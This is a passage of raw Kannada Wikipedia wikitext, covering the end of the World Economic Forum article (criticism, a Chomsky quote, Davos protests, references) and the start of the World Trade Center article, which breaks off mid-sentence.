ಬುದ್ಧಿಜೀವಿಯ ಅಭಿಪ್ರಾಯದ ಅನುಸಾರ, ಹೂಡಿಕೆದಾರರು ಮತ್ತು ವಿಶೇಷ ಹಕ್ಕುಪಡೆದ ಗಣ್ಯರು ಅಥವಾ ವಿಶ್ವ ಆರ್ಥಿಕ ವೇದಿಕೆಯ ಕೆಲವೊಂದು ಸಹಭಾಗಿಗಳ ದೃಷ್ಟಿಕೋನದಲ್ಲಿ ಜಾಗತೀಕರಣ ಎಂಬುದು ಒಂದು ಪ್ರಚಾರ ಪರಿಭಾಷೆಯಾಗಿದೆ. ಚೋಮ್ಸ್‌ಕಿಯು ಸಂದರ್ಶನವೊಂದರಲ್ಲಿ ಮಾತನಾಡುತ್ತಾ, "ಪ್ರಬಲವಾದ ಪ್ರಚಾರ ವ್ಯವಸ್ಥೆಗಳು "ಜಾಗತೀಕರಣ" ಎಂಬ ಶಬ್ದವನ್ನು ತಾವು ಒಲವು ತೋರುವ ಅಂತರರಾಷ್ಟ್ರೀಯ ಆರ್ಥಿಕ ಸಮಗ್ರೀಕರಣದ ಉದ್ದೇಶಿತ ರೂಪಾಂತರವನ್ನು ಉಲ್ಲೇಖಿಸಲೆಂದು ಮೀಸಲಿಟ್ಟಿವೆ; ಈ ರೂಪಾಂತರವು ಹೂಡಿಕೆದಾರರು ಮತ್ತು ಸಾಲದಾತರ, ಪ್ರಾಸಂಗಿಕವಾಗಿರುವ ಜನರ ಹಕ್ಕುಗಳಿಗೆ ವಿನಾಯಿತಿಯನ್ನು ನೀಡುತ್ತದೆ. ಈ ಬಳಕೆಯ ಅನುಸಾರ, ಮಾನವ ಜೀವಿಗಳ ಹಕ್ಕುಗಳಿಗೆ ವಿನಾಯಿತಿಯನ್ನು ನೀಡುವ ಅಂತರರಾಷ್ಟ್ರೀಯ ಸಮಗ್ರೀಕರಣದ ಒಂದು ವಿಭಿನ್ನ ಸ್ವರೂಪಕ್ಕೆ ಒಲವು ತೋರುವವರು 'ಜಾಗತಿಕತಾ-ವಿರೋಧಿ' ಎನಿಸಿಕೊಳ್ಳುತ್ತಾರೆ. ಅಸಹ್ಯ ಹುಟ್ಟಿಸುವ ಬಹುಪಾಲು ಕಾಮಿಸಾರ್‌‌ಗಳಿಂದ (ಸೋವಿಯೆಟ್‌ ಸರ್ಕಾರದಲ್ಲಿನ ಯಾವುದೇ ಇಲಾಖೆಯ ಮುಖ್ಯಾಧಿಕಾರಿಗಳು) ಬಳಸಲ್ಪಡುವ "ಸೋವಿಯೆಟ್‌-ವಿರೋಧಿ" ಎಂಬ ಪರಿಭಾಷೆಯ ರೀತಿಯಲ್ಲಿಯೇ, ಇದು ಭಿನ್ನಮತೀಯರನ್ನು ಉಲ್ಲೇಖಿಸಲೆಂದು ಇರುವ ಅಸಭ್ಯ ಪ್ರಚಾರವಾಗಿದೆ. ಇದು ಅಸಭ್ಯ ಮಾತ್ರವೇ ಅಲ್ಲದೇ ಹೆಡ್ಡತನದ ಪರಿಭಾಷೆಯೂ ಆಗಿದೆ. ಪ್ರಚಾರ ವ್ಯವಸ್ಥೆಯಲ್ಲಿ "ಜಾಗತೀಕರಣ-ವಿರೋಧಿ" ಎಂಬುದಾಗಿ ಕರೆಯಲ್ಪಡುವ ವಿಶ್ವ ಸಾಮಾಜಿಕ ವೇದಿಕೆಯ ಉದಾಹರಣೆಯನ್ನೇ ತೆಗೆದುಕೊಳ್ಳಿ- ಇದು ಅಪರೂಪದ ವಿನಾಯಿತಿಗಳನ್ನು ಹೊಂದಿರುವ ಮಾಧ್ಯಮಗಳು, ಶಿಕ್ಷಿತ ವರ್ಗಗಳು ಇತ್ಯಾದಿಗಳನ್ನು ಒಳಗೊಂಡಿರುವುದು ಕಂಡುಬರುತ್ತದೆ. WSF ಸಂಘಟನೆಯು ಜಾಗತೀಕರಣದ ಒಂದು ಮಾದರಿ ಉದಾಹರಣೆಯಾಗಿದೆ. ಸ್ಪರ್ಧಾತ್ಮಕ ವಿಶ್ವ ಆರ್ಥಿಕ ವೇದಿಕೆಯಲ್ಲಿ ಸಭೆ ಸೇರುವ ಅಥವಾ ಭೇಟಿಮಾಡುವ ಅತೀವವಾಗಿ ಸಂಕುಚಿತ ಸ್ವರೂಪದ, ಹೆಚ್ಚಿನ ವಿಶೇಷ ಹಕ್ಕುಪಡೆದ ಗಣ್ಯರ, ಮತ್ತು ಪ್ರಚಾರ ವ್ಯವಸ್ಥೆಯಿಂದ "ಜಾಗತೀಕರಣದ-ಪರ" ಎಂದು ಕರೆಯಲ್ಪಡುವವರ ಹೊರತಾಗಿಯೂ, ಇದು ವಿಶ್ವದ ಎಲ್ಲ ಭಾಗಗಳಿಗೂ ಸೇರಿದ ಬೃಹತ್‌‌ ಸಂಖ್ಯೆಯ ಜನರ, ಓರ್ವರು ಭಾವಿಸಬಹುದಾದ ಜೀವನದ ಎಲ್ಲ ಮೂಲೆಗಳಿಗೂ ಸೇರಿದ ಜನರ ಒಂದು ಜಮಾವಣೆಯಾಗಿದೆ. ಮಂಗಳಗ್ರಹದಿಂದ ಈ ಪ್ರಹಸನವನ್ನು ವೀಕ್ಷಿಸುತ್ತಿರುವ ಓರ್ವ ವೀಕ್ಷಕನು, ಶಿಕ್ಷಿತ ವರ್ಗಗಳ ವಿಕಟವರ್ತನೆಗಳನ್ನು ನೋಡುತ್ತಾ ನಗುವನ್ನು ನಿಯಂತ್ರಿಸಲಾಗದೆಯೇ ಕುಸಿದುಬೀಳುತ್ತಾನೆ" ಎಂದು ನುಡಿದ. 2000ನೇ ಇಸವಿಯ ಜನವರಿಯಲ್ಲಿ, 1,000 ಪ್ರತಿಭಟನಾಕಾರರು ದಾವೋಸ್‌ನ ಬೀದಿಗಳ ಮೂಲಕ ಮೆರವಣಿಗೆ ನಡೆಸಿದರು ಮತ್ತು ಸ್ಥಳೀಯ ಮೆಕ್‌ಡೊನಾಲ್ಡ್‌‌'ಸ್‌‌ ಉಪಾಹಾರ ಮಂದಿರದ ಕಿಟಕಿಯನ್ನು ಪುಡಿಮಾಡಿದರು.<ref>[https://archive.is/20120604152407/http://www.forbes.com/2008/01/22/davos-background-themes-lead-manage-cx_cw_0122buzz.html "ದಿ ದಾವೋಸ್‌ ಬಜ್‌‌"], ''ಫೋರ್ಬ್ಸ್‌'' , 22 ಜನವರಿ 2008, 2008ರ ಆಗಸ್ಟ್‌ 29ರಂದು ಮರುಸಂಪಾದಿಸಲಾಯಿತು.</ref> ದಾವೋಸ್‌ ಸುತ್ತಲೂ ವ್ಯವಸ್ಥೆಗೊಳಿಸಲಾಗಿರುವ ಬಿಗಿ ಭದ್ರತಾ ಕ್ರಮಗಳು ಪ್ರದರ್ಶನಕಾರರನ್ನು ಆಲ್ಪೈನ್‌‌ ವಿಹಾರಧಾಮದಿಂದ ದೂರದಲ್ಲಿ ಇರಿಸಿವೆ ಮತ್ತು ಬಹುಪಾಲು ಪ್ರತಿಭಟನೆಗಳನ್ನು ಈಗ ಝೂರಿಚ್‌, ಬರ್ನ್‌ ಅಥವಾ ಬೇಸೆಲ್‌‌ನಲ್ಲಿ ಹಮ್ಮಿಕೊಳ್ಳಲಾಗುತ್ತದೆ.<ref>[http://archives.cnn.com/2001/WORLD/europe/01/28/davos.protests.03/ ''ಪೊಲೀಸ್‌ ಅರೆಸ್ಟ್‌ 100 ದಾವೋಸ್‌ ಪ್ರೊಟೆಸ್ಟರ್ಸ್‌'' ] {{Webarchive|url=https://web.archive.org/web/20080323092729/http://archives.cnn.com/2001/WORLD/europe/01/28/davos.protests.03/ |date=2008-03-23 }}, CNN, 28 ಜನವರಿ 2001: 8:24AM EST, 2008ರ ಆಗಸ್ಟ್‌‌ 29ರಂದು ಮರುಸಂಪಾದಿಸಲಾಯಿತು</ref> ವೇದಿಕೆಯಿಂದ ಹಾಗೂ ಸ್ವಿಸ್‌ ಮಂಡಲದ ಪ್ರಾಧಿಕಾರ ಮತ್ತು ರಾಷ್ಟ್ರೀಯ ಪ್ರಾಧಿಕಾರಗಳಿಂದ ಹಂಚಿಕೊಳ್ಳಲ್ಪಟ್ಟಿರುವ ಭದ್ರತಾ ಕ್ರಮಗಳ ಕುರಿತಾದ ವೆಚ್ಚಗಳು, ಸ್ವಿಸ್‌ ರಾಷ್ಟ್ರೀಯ ಮಾಧ್ಯಮಗಳಲ್ಲಿ ಪದೇಪದೇ ಟೀಕೆಗೆ ಒಳಗಾಗಿವೆ.<ref>[http://edition.cnn.com/2001/WORLD/europe/01/25/switzerland.davos/ "ಟೈಟ್‌ ಸೆಕ್ಯುರಿಟಿ ಸರೌಂಡ್ಸ್‌ ದಾವೋಸ್‌"], CNN, 25 ಜನವರಿ 2001, 2008ರ ಆಗಸ್ಟ್‌‌ 29ರಂದು ಮರುಸಂಪಾದಿಸಲಾಯಿತು.</ref> ದಾವೋಸ್‌ನಲ್ಲಿ 2003ರ ಜನವರಿಯಲ್ಲಿ ನಡೆದ ವಾರ್ಷಿಕ ಸಭೆಯಲ್ಲಿ ಪ್ರಾರಂಭವಾಗಿ ಸ್ವಿಸ್‌ ಪ್ರಾಟಿಸ್ಟೆಂಟ್‌ ಚರ್ಚುಗಳ ಒಕ್ಕೂಟದ ಸಹ-ಸಂಘಟನೆಯಲ್ಲಿ ರೂಪುಗೊಂಡ ಓಪನ್‌ ಫೋರಮ್‌ ದಾವೋಸ್‌<ref>{{cite web|url=http://www.openforumdavos.ch/ |title=Open Forum Davos, Schweizerischer Evangelischer Kirchenbund |publisher=Openforumdavos.ch |date= |accessdate=2010-03-07}}</ref> ಎಂಬ ಒಂದು ಅಭಿವ್ಯಕ್ತಿ-ವೇದಿಕೆಯನ್ನು ಸಮಾನಾಂತರವಾಗಿ ಆಯೋಜಿಸಲಾಯಿತು; ಜಾಗತೀಕರಣದ ಕುರಿತಾದ ಚರ್ಚೆಯನ್ನು ಜನಸಾಮಾನ್ಯರಿಗೂ ಮುಕ್ತವಾಗಿರಿಸುವ ಉದ್ದೇಶವನ್ನು ಇದು ಹೊಂದಿತ್ತು. ಅಗ್ರಗಣ್ಯ ರಾಜಕಾರಣಿಗಳು ಮತ್ತು ವ್ಯವಹಾರ ನಾಯಕರನ್ನು ಒಳಗೊಂಡಿರುವ ಸದರಿ ಮುಕ್ತ ವೇದಿಕೆಯನ್ನು ಪ್ರತಿ ವರ್ಷವೂ ಸ್ಥಳೀಯ ಪ್ರೌಢಶಾಲೆಯಲ್ಲಿ ಆಯೋಜಿಸಲಾಗುತ್ತದೆ ಮತ್ತು ಸಾರ್ವಜನಿಕ ವಲಯದ ಸದಸ್ಯರೆಲ್ಲರೂ ಇದರಲ್ಲಿ ಉಚಿತವಾಗಿ ಪಾಲ್ಗೊಳ್ಳಬಹುದಾಗಿದೆ.<ref>ಪಿಗ್‌ಮನ್‌ ಪುಟ 130</ref><ref>{{cite web|url=https://www.youtube.com/view_play_list?p=78AB043A344C2C6A |title=Open Forum |publisher=YouTube |date= |accessdate=2010-03-07}}</ref> ವಾರ್ಷಿಕ ಸಭೆಯು "ಆಡಂಬರ ಮತ್ತು ಚರ್ವಿತ ಚರ್ವಣತೆಯ ಮಿಶ್ರಣ" ಎಂಬುದಾಗಿಯೂ ಹೀಯಾಳಿಸಲ್ಪಟ್ಟಿದೆ. ಅಷ್ಟೇ ಅಲ್ಲ, ಗಂಭೀರ ಅರ್ಥಶಾಸ್ತ್ರದ ವಿಷಯದಿಂದ ಆಚೆಗೆ ಹೊರಳುದಾರಿಯನ್ನು ತುಳಿಯುತ್ತಿರುವುದಕ್ಕಾಗಿ ಮತ್ತು ಅಲ್ಪಮಟ್ಟದಲ್ಲಿ ವಿಷಯದ ಅಗತ್ಯವನ್ನು ಈಡೇರಿಸುತ್ತಿರುವುದಕ್ಕಾಗಿಯೂ ಅದು ಟೀಕೆಗೂ ಒಳಗಾಗಿದೆ; ಅದರಲ್ಲೂ ನಿರ್ದಿಷ್ಟವಾಗಿ ಹೇಳುವುದಾದರೆ, ಅರ್ಥಶಾಸ್ತ್ರದಲ್ಲಿ ಅಲ್ಪ ಪರಿಣತಿಯನ್ನು ಹೊಂದಿರುವ ಅಥವಾ ಪರಿಣತಿಯನ್ನೇ ಹೊಂದಿಲ್ಲದ NGOಗಳು ವಾರ್ಷಿಕ ಸಭೆಯಲ್ಲಿ ಹೆಚ್ಚಿನ ಪ್ರಮಾಣದಲ್ಲಿ ತೊಡಗಿಸಿಕೊಳ್ಳುತ್ತಿರುವುದೂ ಸಹ ಟೀಕೆಗೆ ಒಳಗಾಗಿದೆ. ಪ್ರಮುಖರೆನಿಸಿಕೊಂಡಿರುವ ವ್ಯವಹಾರ-ವಲಯದ ಮತ್ತು ರಾಜಕೀಯ-ವಲಯದ ಪಾತ್ರಧಾರಿಗಳ ಜೊತೆಗೂಡಿಕೊಂಡು ಚೆನ್ನಾಗಿ ತಿಳಿದುಕೊಂಡಿರುವ ಪರಿಣಿತರೊಂದಿಗೆ ವಿಶ್ವದ ಆರ್ಥಿಕತೆಯ ಮೇಲೆ ಚರ್ಚೆಯೊಂದನ್ನು ನಡೆಸುವುದರ ಬದಲಿಗೆ, ದಾವೋಸ್‌ ಈಗ ವರ್ತಮಾನದ ಅಗ್ರಗಣ್ಯ ಮಾಧ್ಯಮದ ರಾಜಕೀಯ ಕಾರಣಗಳನ್ನು ಒಳಗೊಳ್ಳುತ್ತದೆ; ಜಾಗತಿಕ ಹವಾಮಾನ ಬದಲಾವಣೆ ಮತ್ತು ಆಫ್ರಿಕಾದಲ್ಲಿರುವ AIDS ಇದಕ್ಕೊಂದು ನಿದರ್ಶನವಾಗಿದೆ.<ref>[http://business.timesonline.co.uk/tol/business/article716954.ece?token=null&amp;offset=12&amp;page=2 "ದಾವೋಸ್‌: ಬೀನ್‌ಫೆಸ್ಟ್‌ ಆಫ್‌ ಪಾಂಪ್‌ ಅಂಡ್‌ ಪ್ಲಾಟಿಟ್ಯೂಡ್‌"], ''ಟೈಮ್ಸ್‌'' ಆನ್‌ಲೈನ್‌‌, 22 ಜನವರಿ 2006, 2008ರ ಆಗಸ್ಟ್‌‌ 29ರಂದು ಮರುಸಂಪಾದಿಸಲಾಯಿತು.</ref> ==ಇವನ್ನೂ ನೋಡಿ== *ಜಾಗತೀಕರಣ-ವಿರೋಧಿ ಆಂದೋಲನ *[[ಜಾಗತೀಕರಣ]] *ವಿಶ್ವ ಸಾಮಾಜಿಕ ವೇದಿಕೆ *ವಿಶ್ವ ಜ್ಞಾನ ವೇದಿಕೆ *ವಿಶ್ವ ಆರ್ಥಿಕತೆ ==ಉಲ್ಲೇಖಗಳು== {{reflist|2}} ==ಉಲ್ಲೇಖನದ ಪುಸ್ತಕಗಳು== * ಮೈಕೇಲ್‌ ವೋಲ್ಫ್‌, ''ದಿ ಎಂಟರ್‌ಟೈನ್‌ಮೆಂಟ್‌ ಇಕಾನಮಿ: ಹೌ ಮೆಗಾ-ಮೀಡಿಯಾ ಫೋರ್ಸಸ್‌ ಆರ್‌ ಟ್ರಾನ್ಸ್‌‌ಫಾರ್ಮಿಂಗ್‌ ಅವರ್‌ ಲೈವ್ಸ್‌'' , ರ್ಯಾಂಡಂ ಹೌಸ್‌ನಿಂದ ಪ್ರಕಟಿತ, 1999, ISBN 0-8129-3042-8, 336 ಪುಟಗಳು. * ಬಾರ್ಬರಾ ಕೆಲ್ಲರ್‌ಮನ್‌, ''ರೀಇನ್ವೆಂಟಿಂಗ್‌ ಲೀಡರ್‌ಷಿಪ್‌: ಮೇಕಿಂಗ್‌ ದಿ ಕನೆಕ್ಷನ್‌ ಬಿಟ್ವೀನ್‌ ಪಾಲಿಟಿಕ್ಸ್‌ ಅಂಡ್ ಬಿಸಿನೆಸ್‌'' , SUNY ಪ್ರೆಸ್‌‌ನಿಂದ ಪ್ರಕಟಿತ, 1999, ISBN 0-7914-4072-9, 268 ಪುಟಗಳು. * ‌‌ಡೇವಿಡ್ ಬಾರ್ನ್‌ಸ್ಟೀನ್‌, ''ಹೌ ಟು ಚೇಂಜ್‌ ದಿ ವರ್ಲ್ಡ್‌: ಸೋಷಿಯಲ್‌ ಎಂಟರ್‌ಪ್ರೆನ್ಯೂರ್ಸ್‌ ಅಂಡ್‌ ದಿ ಪವರ್‌ ಆಫ್‌ ನ್ಯೂ ಐಡಿಯಾಸ್‌'' , ಆಕ್ಸ್‌‌ಫರ್ಡ್‌ ಯೂನಿವರ್ಸಿಟಿ ಪ್ರೆಸ್‌ USನಿಂದ ಪ್ರಕಟಿತ, 2007, ISBN 0-19-533476-0, 358 ಪುಟಗಳು. * ಡೇವಿಡ್‌‌ ರೋಥ್‌ಕೋಫ್‌, ''ಸೂಪರ್‌‌ಕ್ಲಾಸ್‌: ದಿ ಗ್ಲೋಬಲ್‌ ಪವರ್‌ ಎಲೈಟ್‌ ಅಂಡ್‌ ದಿ ವರ್ಲ್ಡ್‌ ದೆ ಆರ್‌ ಮೇಕಿಂಗ್‌‌'' , ಫರಾರ್‌‌, ಸ್ಟ್ರೌಸ್‌ ಮತ್ತು ಗಿರೌಕ್ಸ್‌ರಿಂದ ಪ್ರಕಟಿತ, 2008, ISBN 0-374-27210-7, 400 ಪುಟಗಳು. * ಜೆಫ್ರಿ ಅಲೆನ್‌ ಪಿಗ್‌ಮನ್‌, ''ಗ್ಲೋಬಲ್‌ ಇನ್‌ಸ್ಟಿಟ್ಯೂಷನ್ಸ್‌: ದಿ ವರ್ಲ್ಡ್‌ ಇಕನಾಮಿಕ್‌ ಫೋರಂ - ಎ ಮಲ್ಟಿ-ಸ್ಟೇಕ್‌ಹೋಲ್ಡರ್‌ ಅಪ್ರೋಚ್‌ ಟು ಗ್ಲೋಬಲ್‌ ಗವರ್ನೆನ್ಸ್‌'' , ರೌಟ್‌ಲೆಡ್ಜ್‌‌ನಿಂದ ಪ್ರಕಟಿತ, 2007, ISBN 978-0-415-70204-1, 175 ಪುಟಗಳು. * ಕ್ಲೌಸ್‌ M. ಷ್ವಾಬ್‌ ಮತ್ತು ಹೀನ್‌‌ ಕ್ರೂಸ್‌, ''ಮಾಡರ್ನೆ ಅಂಟರ್‌ನೆಹ್ಮೆನ್ಸ್‌ಫಹ್ರಂಗ್‌ ಇಮ್‌ ಮ್ಯಾಸ್ಕಿನೆನ್‌ಬೌ'' , ವೆರೀನ್‌ ಡಿಟಿಯಿಂದ ಪ್ರಕಟಿತ. ಮ್ಯಾಸ್ಕಿನೆನ್‌ಬೌ-ಆನ್ಸ್‌‌ಟ್‌. ಇ.ವಿ. ; ಮ್ಯಾಸ್ಕಿನೆನ್‌ಬೌ-ವೆರ್ಲ್‌, 1971. * ‌ಮೈಕ್ ಮೂರ್‌‌, ''ಎ ವರ್ಲ್ಡ್‌ ವಿಥೌಟ್‌ ವಾಲ್ಸ್‌: ಫ್ರೀಡಮ್‌, ಡೆವಲಪ್‌ಮೆಂಟ್‌, ಫ್ರೀ ಟ್ರೇಡ್‌ ಅಂಡ್‌ ಗ್ಲೋಬಲ್‌ ಗವರ್ನೆನ್ಸ್‌'' , ಕೇಂಬ್ರಿಜ್‌ ಯೂನಿವರ್ಸಿಟಿ ಪ್ರೆಸ್‌ನಿಂದ ಪ್ರಕಟಿತ, 2003, ISBN 0-521-82701-9, 292 ಪುಟಗಳು. ==ಬಾಹ್ಯ ಕೊಂಡಿಗಳು== {{Commons category|World Economic Forum}} * [http://www.weforum.org/ ವಿಶ್ವ ಆರ್ಥಿಕ ವೇದಿಕೆ ಮೂಲಪುಟ] * [http://www.cbsnews.com/stories/2010/02/12/60minutes/main6202302.shtml?tag=currentVideoInfo;segmentUtilities "ಬಿಹೈಂಡ್‌ ದಿ ಸೀನ್ಸ್‌ ಅಟ್‌ ದಾವೋಸ್‌"] {{Webarchive|url=https://web.archive.org/web/20191028213122/https://www.cbsnews.com/news/60-minutes-behind-the-scenes-at-davos/ |date=2019-10-28 }}, ''60 ಮಿನಿಟ್ಸ್‌'' ನಲ್ಲಿ 2010ರ ಫೆಬ್ರುವರಿ 14ರಂದು ಪ್ರಸಾರವಾದುದು [[ವರ್ಗ:ಅರ್ಥಶಾಸ್ತ್ರದ ಸಂಘಟನೆಗಳು]] [[ವರ್ಗ:ಸ್ವಿಜರ್‌ಲೆಂಡ್‌ನ ಆರ್ಥಿಕತೆ]] [[ವರ್ಗ:ಸ್ವಿಜರ್‌ಲೆಂಡ್‌ನಲ್ಲಿ ಮೂಲವನ್ನು ಹೊಂದಿರುವ ಪ್ರತಿಷ್ಠಾನಗಳು]] [[ವರ್ಗ:ಜಾಗತೀಕರಣ]] [[ವರ್ಗ:1971ರಲ್ಲಿ ಸ್ಥಾಪಿತವಾದ ಸಂಘಟನೆಗಳು]] [[ವರ್ಗ:ಅಂತರರಾಷ್ಟ್ರೀಯ ಸಂಘಟನೆಗಳು]] fdte60qdf6a064hjweayfdit8mvpuz5 ವಿಶ್ವ ವಾಣಿಜ್ಯ ಕೇಂದ್ರ 0 26376 1116473 1087770 2022-08-23T13:22:21Z InternetArchiveBot 69876 Rescuing 2 sources and tagging 0 as dead.) #IABot (v2.0.9 wikitext text/x-wiki {{Infobox skyscraper | building_name = World Trade Center Towers | image = Wtc arial march2001.jpg<!--DO NOT CHANGE. SEE TALK PAGE FOR CONSENSUS. --> | caption = The Twin Towers of the World Trade Center in March&nbsp;2001. 1&nbsp;WTC, the [[List of tenants in One World Trade Center|North Tower]], with antenna, is on the left; 2&nbsp;WTC, the [[List of tenants in Two World Trade Center|South Tower]], is on the right. | previous_building = [[Empire State Building]] | year_built = 1972 | surpassed_by_building = [[Willis Tower|Sears Tower]] | year_highest = 1972 | year_end = 1973 | plural = yes | location = [[ನ್ಯೂ ಯಾರ್ಕ್ ನಗರ]] | height_meters = 417 | height_feet = 1,368 (North Tower)<br />1,362 (South Tower) | height_stories = 1 & 2 WTC: 110 floors<br />3 WTC: 22 floors<br />4 & 5 WTC: 9 floors<br />6 WTC: 8 floors<br />7 WTC: 47 floors | construction_period = 1 WTC: 1966–1972<br />2 WTC: 1966–1973<br />3 WTC: 1980–1981<br />4, 5, & 6 WTC: 1975–1979<br />7 WTC: 1985–1987 | destroyed = [[September 11 attacks|September 11, 2001]] | status = Destroyed | re-construction_period = | completed = 1973 | emporis_id = 131020 | antenna_spire = 1 WTC: 1,727 ft (526.3 m) | roof = 1 WTC: 1,368 ft (417.0 m)<br />2 WTC: 1,362 ft (415.0 m) | top_floor = 1 WTC: 1,355 ft (413.0 m)<br />2 WTC: 1,348 ft (411.0 m) | floor_area = 1 & 2 WTC:{{Clarify|each or combinde?|date=September 2010}} {{convert|4300000|sqft|m2|-4|abbr=on}}<br />4, 5, & 6 WTC: {{convert|500000|sqft|m2|-4|abbr=on}}<br />7 WTC: {{convert|1868000|sqft|m2|-4|abbr=on}} | elevator_count = Both had 99 elevators | architect = [[Minoru Yamasaki]]<br />[[Emery Roth & Sons]] | engineer = [[Leslie Robertson|Leslie E. Robertson Associates]] | contractor = [[Tishman Realty & Construction|Tishman Realty & Construction Company]] | developer = | owner = [[Port Authority of New York and New Jersey]] }} ವಿಶ್ವ ವಾಣಿಜ್ಯ ಕೇಂದ್ರವು ('''ಡಬ್ಲುಟಿಸಿ''' ) [[ನ್ಯೂ ಯಾರ್ಕ್ ನಗರ|ನ್ಯೂಯರ್ಕ್‌]]ನ ಕೆಳ ಮಾನ್ ಹಟ್ಟನ್‌ನಲ್ಲಿರುವ ಏಳು ಕಟ್ಟಡಗಳ ಸಂಕೀರ್ಣವಾಗಿದೆ. ಇದು ಸೆಪ್ಟಂಬರ್ 11,2001ರಂದು ಉಗ್ರರ ದಾಳಿಗೆ ಸಿಲುಕಿ ನಾಶವಾಯಿತು. ಈ ಸ್ಥಳವು ಈಗ ಆರು ಗಗನ ಚುಂಬಿ ಕಟ್ಟಡಗಳು ಮತ್ತು ಒಂದು ಸ್ಮಾರಕದಿಂದ ಪುನರ್ನಿಮಾಣಗೊಂಡಿದ್ದು ದಾಳಿಗಳಿಗೆ ಪ್ರತೀಕದಂತಿವೆ. 1960ರ ಆರಂಭದಲ್ಲಿ ಮಿನೋರು ಯಮಾಸಾಕಿಯವರು ಕೊಳವೆ ಚೌಕಟ್ಟು ರಚನಾ ವಿನ್ಯಾಸವನ್ನು ಬಳಸಿ 110-ಅವಳಿ ಗೋಪುರಗಳಿಗಾಗಿ, ಮೂಲ ವಿಶ್ವ ವಾಣಿಜ್ಯ ಕೇಂದ್ರದ ವಿನ್ಯಾಸವನ್ನು ರಚಿಸಿದರು. ಈ ಯೋಜನೆಗೆ ಅನುಮೋದನೆಯನ್ನು ಪಡೆದ ನಂತರ, ನ್ಯೂಯಾರ್ಕ್ ನ ಪೋರ್ಟ್ ಪ್ರಾಧಿಕಾರ ಮತ್ತು ನ್ಯೂ ಜೆರ್ಸಿ ಹಡ್ಸನ್ ಮತ್ತು ಮಾನಿಹಟ್ ರೈಲು ರಸ್ತೆ ಯನ್ನು ತೆಗೆದುಕೊಳ್ಳಲು ಒಪ್ಪಿದವು, ಇದು ನಂತರ ಪೋರ್ಟ್ ಅಥಾರಿಟಿ ಟ್ರಾನ್ಸ್ ಹಡ್ಸನ್ (ಪಿಎ‌ಟಿಎಚ್) ಎಂದಾಯಿತು. ವಿಶ್ವವ್ಯಾಪಾರ ಕೇಂದ್ರದ ಭೂಅಗೆತ ಕಾರ್ಯವನ್ನು 1966ರಲ್ಲಿ ಆರಂಭಿಸಲಾಯಿತು.{{Nowrap|August 5}} ಉತ್ತರ ಗೋಪುರವನ್ನು (1) {{Nowrap|December 1970}} ರಲ್ಲಿ ಸಂಪೂರ್ಣಗೊಳಿಸಿಮತ್ತು ದಕ್ಷಿಣಗೋಪುರವನ್ನು (2) {{Nowrap|July 1971}} ರಲ್ಲಿ ಮುಗಿಸಲಾಯಿತು. ಈ ನಿರ್ಮಾಣ ಯೋಜನೆಯಲ್ಲಿ ಅತ್ಯಂತ ದೊಡ್ಡ ಪ್ರಮಾಣದ ಮಣ್ಣನ್ನು ಅಗೆಯಲಾಗಿದ್ದು, ಅದನ್ನು ಕೆಳ ಮಾನಿಹಟ್‌ನ ಪಶ್ಚಿಮದಲ್ಲಿರುವ ಬ್ಯಾಟರಿ ಪಾರ್ಕ್ ಸಿಟಿಯ ನಿರ್ಮಾಣಕ್ಕೆ ಬಳಸಲಾಯಿತು. ಈ ಸಂಕೀರ್ಣವು ನ್ಯೂಯಾರ್ಕ್ ಪಟ್ಟಣದ ಹಣಕಾಸು ಜಿಲ್ಲೆಯ ಹೃದಯ ಭಾಗದಲ್ಲಿದೆ ಮತ್ತು 13.4&nbsp;ಮಿಲಿಯನ್ ಚದರ ಅಡಿಯಷ್ಟು (1.24&nbsp;ಮಿಲಿಯನ್ ಮೀ<sup>2</sup>) ಕಛೇರಿ ಸ್ಥಳವನ್ನು ಹೊಂದಿದೆ.<ref>{{Cite news|url=http://query.nytimes.com/gst/fullpage.html?res=9F01E4D81030F935A35752C0A9649C8B63 |title=Commercial Property; In Office Market, a Time of Uncertainty |work=The New York Times |author=Holusha, John |date=January 6, 2002 |accessdate=November 21, 2008}}</ref><ref>{{Cite news |url=http://findarticles.com/p/articles/mi_m3601/is_30_48/ai_83762552 |title=Ford recounts details of Sept. 11 |work=Real Estate Weekly |date=February 27, 2002 |publisher=BNET |accessdate=January 3, 2009 |archiveurl=https://archive.today/20120526191512/http://findarticles.com/p/articles/mi_m3601/is_30_48/ai_83762552/ |archivedate=ಮೇ 26, 2012 |url-status=live }}</ref> ವಿಶ್ವ ರೆಸ್ಟೋರೆಂಟ್‌ನ ಕಿಟಕಿಗಳು 1&nbsp;ವಿಶ್ವವ್ಯಾಪಾರ ಕೇಂದ್ರದ (ಉತ್ತರ ಗೋಪುರ) 106 ಮತ್ತು 107ನೇ ಮಹಡಿಗಳಲ್ಲಿವೆ, ಆದರೆ ವಿಶ್ವದ ಎತ್ತರದ ವೀಕ್ಷಣಾ ಸ್ಥಳವು 2 ವಿಶ್ವ ವಾಣಿಜ್ಯ ಕೇಂದ್ರದ (ದಕ್ಷಿಣ ಗೋಪುರ) 107ನೇ ಮಹಡಿಯಲ್ಲಿದೆ. ಅಮೇರಿಕಾ ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನದ ವಹಿವಾಟಿ ನಲ್ಲಿರುವಲ್ಲಿರುವ ಇತರ ವಿಶ್ವ ವಾಣಿಜ್ಯ ಕೇಂದ್ರಗಳೆಂದರೆ ಮಾರಿಯೋಟ್ ವಿಶ್ವ ವಾಣಿಜ್ಯ ಕೇಂದ್ರ ; 4&nbsp;ವಿಶ್ವ ವಾಣಿಜ್ಯ ಕೇಂದ್ರ ;5&nbsp;ವಿಶ್ವ ವಾಣಿಜ್ಯ ಕೇಂದ್ರ ;6&nbsp;ವಿಶ್ವ ವಾಣಿಜ್ಯ ಕೇಂದ್ರ. ಈ ಎಲ್ಲಾ ಕಟ್ಟಡಗಳನ್ನೂ 1975 ಹಾಗೂ 1981ರ ನಡುವೆ ನಿರ್ಮಿಸಲಾಯಿತು. 1985ರಲ್ಲಿ ನಿರ್ಮಾಣವಾದ ಅಂತಿಮ ಕಟ್ಟಡವೇ 7&nbsp;ವಿಶ್ವ ವಾಣಿಜ್ಯ ಕೇಂದ್ರ. ವಿಶ್ವ ವಾಣಿಜ್ಯ ಕೇಂದ್ರವು {{Nowrap|February 13}}, 1975ರಲ್ಲಿ ಬೆಂಕಿಯ ಆಹುತಿಗೆ ಹಾಗೂ {{Nowrap|February 26}}, 1993ರಲ್ಲಿ ಬಾಂಬ್ ದಾಳಿಗೆ ಗುರಿಯಾಯಿತು. 1998ರಲ್ಲಿ ಪೋರ್ಟ್ ಪ್ರಾಧಿಕಾರ‍ವು, 